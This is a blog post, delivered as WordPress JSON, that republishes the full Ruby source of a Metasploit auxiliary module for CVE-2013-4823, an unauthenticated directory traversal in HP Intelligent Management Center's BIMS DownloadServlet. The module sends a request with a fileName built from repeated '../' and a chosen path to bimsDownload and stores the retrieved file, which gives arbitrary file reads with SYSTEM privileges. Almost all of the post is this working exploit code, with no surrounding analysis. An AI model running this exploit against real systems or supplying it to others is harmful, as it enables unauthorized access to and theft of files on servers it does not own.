{"id":59344,"date":"2024-09-01T19:20:15","date_gmt":"2024-09-01T16:20:15","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181077\/hp_imc_bims_downloadservlet_traversal.rb.txt"},"modified":"2024-09-01T19:20:15","modified_gmt":"2024-09-01T16:20:15","slug":"hp-intelligent-management-bims-downloadservlet-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/hp-intelligent-management-bims-downloadservlet-directory-traversal\/","title":{"rendered":"HP Intelligent Management BIMS DownloadServlet Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;HP Intelligent Management BIMS DownloadServlet Directory Traversal&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a lack of authentication and a directory traversal in HP<br \/>Intelligent Management, specifically in the DownloadServlet from the BIMS component,<br \/>in order to retrieve arbitrary files with SYSTEM privileges. This module has been<br \/>tested successfully on HP Intelligent Management Center 5.1 E0202 with BIMS 5.1 E0201<br \/>over Windows 2003 SP2.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;rgod &lt;rgod[at]autistici.org&gt;&#8217;, # Vulnerability Discovery<br \/>&#8216;juan vazquez&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2013-4823&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;98248&#8217; ],<br \/>[ &#8216;BID&#8217;, &#8216;62897&#8217; ],<br \/>[ &#8216;ZDI&#8217;, &#8217;13-239&#8242; ]]))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to HP Intelligent Management Center&#8217;, &#8216;\/imc&#8217;]),<br \/>OptString.new(&#8216;FILEPATH&#8217;, [true, &#8216;The name of the file to download&#8217;, &#8216;\/windows\\\\win.ini&#8217;]),<br \/># By default files downloaded from C:\\Program Files\\iMC\\client\\web\\apps\\imc\\<br \/>OptInt.new(&#8216;DEPTH&#8217;, [true, &#8216;Traversal depth&#8217;, 6])<br \/>])<br \/>end<\/p>\n<p>def is_imc?<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path.to_s, &#8220;login.jsf&#8221;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<\/p>\n<p>if res and res.code == 200 and res.body =~ \/HP Intelligent Management Center\/<br \/>return true<br \/>else<br \/>return false<br \/>end<br \/>end<\/p>\n<p>def my_basename(filename)<br \/>return ::File.basename(filename.gsub(\/\\\\\/, &#8220;\/&#8221;))<br \/>end<\/p>\n<p>def run_host(ip)<\/p>\n<p>if not is_imc?<br \/>vprint_error(&#8220;#{rhost}:#{rport} &#8211; This isn&#8217;t a HP Intelligent Management Center&#8221;)<br \/>return<br \/>end<\/p>\n<p>travs = &#8220;&#8221;<br \/>travs &lt;&lt; &#8220;..\/&#8221; * datastore[&#8216;DEPTH&#8217;]travs &lt;&lt; datastore[&#8216;FILEPATH&#8217;]\n<p>vprint_status(&#8220;#{rhost}:#{rport} &#8211; Sending request&#8230;&#8221;)<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path.to_s, &#8220;bimsDownload&#8221;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;vars_get&#8217; =&gt;<br \/>{<br \/>&#8216;fileName&#8217; =&gt; travs,<br \/>&#8216;path&#8217; =&gt; &#8220;\/&#8221;<br \/>}<br \/>})<\/p>\n<p>if res and res.code == 200 and res.headers[&#8216;Content-Type&#8217;] and res.headers[&#8216;Content-Type&#8217;] == &#8220;application\/doc&#8221;<br \/>contents = res.body<br \/>fname = my_basename(datastore[&#8216;FILEPATH&#8217;])<br \/>path = store_loot(<br \/>&#8216;hp.imc.bimsdownloadservlet&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>ip,<br \/>contents,<br \/>fname<br \/>)<br \/>print_good(&#8220;#{rhost}:#{rport} &#8211; File saved in: #{path}&#8221;)<br \/>else<br \/>vprint_error(&#8220;#{rhost}:#{rport} &#8211; Failed to retrieve file&#8221;)<br \/>return<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;HP Intelligent Management BIMS DownloadServlet Directory Traversal&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a lack of authentication and a directory traversal in HPIntelligent Management, specifically in the DownloadServlet from the BIMS component,in order to retrieve arbitrary &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59344","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59344"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59344\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}